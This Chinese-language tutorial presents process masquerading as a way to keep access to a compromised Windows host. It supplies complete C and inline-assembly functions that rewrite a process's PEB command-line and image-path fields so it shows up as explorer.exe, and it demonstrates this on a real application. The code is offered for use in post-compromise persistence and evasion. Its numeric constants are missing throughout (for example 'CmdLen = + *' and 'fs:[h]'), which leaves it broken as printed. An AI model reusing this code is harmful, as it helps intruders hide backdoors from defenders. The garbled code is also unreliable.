当我们获取到一台主机的权限过后,拿到了自己想要搜集的信息,这时候我们就会留一个后门进行权限维持,权限维持的学问其实很深,今天就主要介绍其中一种比较简单的权限维持的方法 -- 进程伪装。
我们知道在windows里面有很多系统进程,如winlogon.exe
、explorer.exe
、services.exe
等等,这些exe都是Windows必须具有的exe,当缺失某些exe的时候,windows就不能够正常运行,所以我们如果想到实现进程伪装,最好的选择就是伪装成系统必备的exe,当我们进行进程伪装之后,在系统中显示的就会是系统进程的信息,但这个程序还是能够执行它正常的功能,这样就达到了进程伪装、权限维持的作用。
我们判断一个进程是否被劫持,一般是看他的进程名以及path,即启动路径来判断,那么反推即可得到,我们可以通过修改进程模块中的进程路径以及进程名来实现进程伪装的作用
比如我们这里再看看explorer的进程名和启动路径
那么这里我们改人如何获取进程的这些信息呢,这里可以使用到ntdll.dll
里面的NtQueryInformationProcess
来获取进程的PEB地址,这里稍微提一个概念,什么是PEB?
PEB,即Process Envirorment Block Structure,英文翻译过来就是进程环境信息块,这里包含了写进程的信息。它的完整结构如下:
typedef struct _PEB {
BYTE Reserved1[];
BYTE BeingDebugged; //被调试状态
BYTE Reserved2[];
PVOID Reserved3[];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[];
PVOID Reserved5[];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[];
PVOID Reserved7[];
ULONG SessionId;
} PEB, *PPEB;
这里就不深究每个属性的含义了,这里拿到PEB结构之后我们就能够对进程的一些属性进行修改就能够实现进程伪装的效果,但是这里并不能够通过指针来直接速写内存数据,因为每个程序都有自己独立的空间,所以这里就需要用到ReadProcessMemory
和WriteProcessMemory
来读写进程
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
首先使用OpenProcess打开进程句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
然后从ntdll.dll
中获取NtQueryInformationProcess
的导出地址,因为这个函数没有关联导入库,所以只能动态获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
我们获取到到处地址过后需要注意一下NtQueryInformationProcess
结构里面的PROCESS_BASIC_INFORMATION
这个值,首先看下结构
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
其中第三个值PROCESS_BASIC_INFORMATION
指向调用应用程序提供的缓冲区的指针,函数将请求的信息写入该缓冲区。写入的信息大小取决于ProcessInformationClass参数的数据类型
当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应该足够大,以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构:
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
那么我们如何定位到PEB结构呢?
FS段寄存器指向当前的TEB结构,在TEB偏移0x30处是PEB指针,通过这个指针即可取得PEB的地址,可以通过汇编实现
__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}
这里我们要修改两个参数,一个是命令行参数,一个是path参数,这里用winDBG跟一下PEB的结构
首先是在0x20偏移的地方,有一个叫ProcessParameters的属性值,其结构体为_RTL_USER_PROCESS_PARAMETERS,继续往里面跟
在0x60偏移的地方,ImagePathName即为可执行文件的路径,结构体为_UNICODE_STRING,它的0x08偏移指向了一个Buffer,Buffer的内容为可执行文件路径的字符串。同理,0x70偏移则指向了 CommandLine为命令行参数
那么我们首先获取结构中的PebBaseAddress
和ProcessPamameters
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
修改命令行信息的话就是修改结构中的Buffer
和Length
字段,在CommandLine
这个结构里面
CmdLen = + * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
同理修改路径信息的话也是修改Buffer
跟Length
字段,这里的结构就是ImagePathName
PathLen = + * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
那么到这里我们就已经修改了命令行跟路径的字段,完整代码如下
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
printf("[!] OpenProcess failed,error is : %d", GetLastError());
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { };
PEB peb = { };
RTL_USER_PROCESS_PARAMETERS Param = { };
USHORT CmdLen = ;
USHORT PathLen = ;
// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
return FALSE;
}
// 获取PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取ProcessParameters
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改命令行信息,即CommandLine结构里面的Buffer和Length字段
CmdLen = + * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
// 修改路径信息,即ImagePathName结构里面的Buffer和Length字段
PathLen = + * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
return TRUE;
}
这里也可以使用asm指向PEB结构进行数据的修改,其实跟上面的思路一样,也是指向Buffer
跟Length
字段进行修改,但是这里定位到PEB结构是使用指针的方式,实现的效果是相同的
BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
// 打开进程获取句柄
HANDLE hProcess = GetModuleHandle(NULL);
PPEB peb = { };
USHORT usCmdLen = ;
USHORT usPathLen = ;
__asm
{
mov eax,fs:[h]
mov peb,eax
}
usCmdLen = + * wcslen(lpwszCmd);
(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
(*peb).ProcessParameters->CommandLine.Length = usCmdLen;
usPathLen = + * wcslen(lpwszPath);
(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
(*peb).ProcessParameters->ImagePathName.Length = usPathLen;
return TRUE;
}
这里演示下第一个代码实现效果,选择的是有道云进行进程伪装成explorer,首先看一下explorer的详细信息
运行一下程序,已经看到修改成功
再去看一下有道云这边,可以看到已经实现了进程伪装